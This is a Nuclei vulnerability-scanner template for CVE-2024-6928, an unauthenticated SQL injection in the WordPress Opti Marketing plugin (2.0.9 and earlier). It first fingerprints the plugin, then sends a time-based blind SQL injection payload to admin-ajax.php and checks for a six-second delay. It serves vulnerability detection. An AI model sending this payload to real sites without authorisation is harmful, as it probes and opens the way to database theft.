nuclei-templates/http/cves/2024/CVE-2024-6928.yaml

55 lines
2.0 KiB
YAML

id: CVE-2024-6928
info:
name: Opti Marketing <= 2.0.9 - SQL Injection
author: s4e-io
severity: high
description: |
The Opti Marketing plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 2.0.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/opti-marketing/opti-marketing-209-unauthenticated-sql-injection
- https://wpscan.com/vulnerability/7bb9474f-2b9d-4856-b36d-a43da3db0245/
- https://nvd.nist.gov/vuln/detail/cve-2024-6928
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2024-6928
metadata:
max-request: 2
vendor: opti-marketing
product: opti-marketing
framework: wordpress
publicwww-query: "/wp-content/plugins/opti-marketing"
tags: cve,cve2024,wpscan,wp-plugin,wp,wordpress,opti-marketing,sqli
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "/wp-content/plugins/opti-marketing")'
condition: and
internal: true
- raw:
- |
@timeout 20s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=save_article&postId=(select*from(select(sleep(6)))a)
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
condition: and
# digest: 490a0046304402200dc457f12e39ef2451e2de0de539c3b02487f1d5ba9e5773b349162019ded80002204d230fe294cbf38b1e08414c49c06e798e4e733c4ed7edb4af53f536ce95f4e3:922c64590222798bb761d5b6d8e72950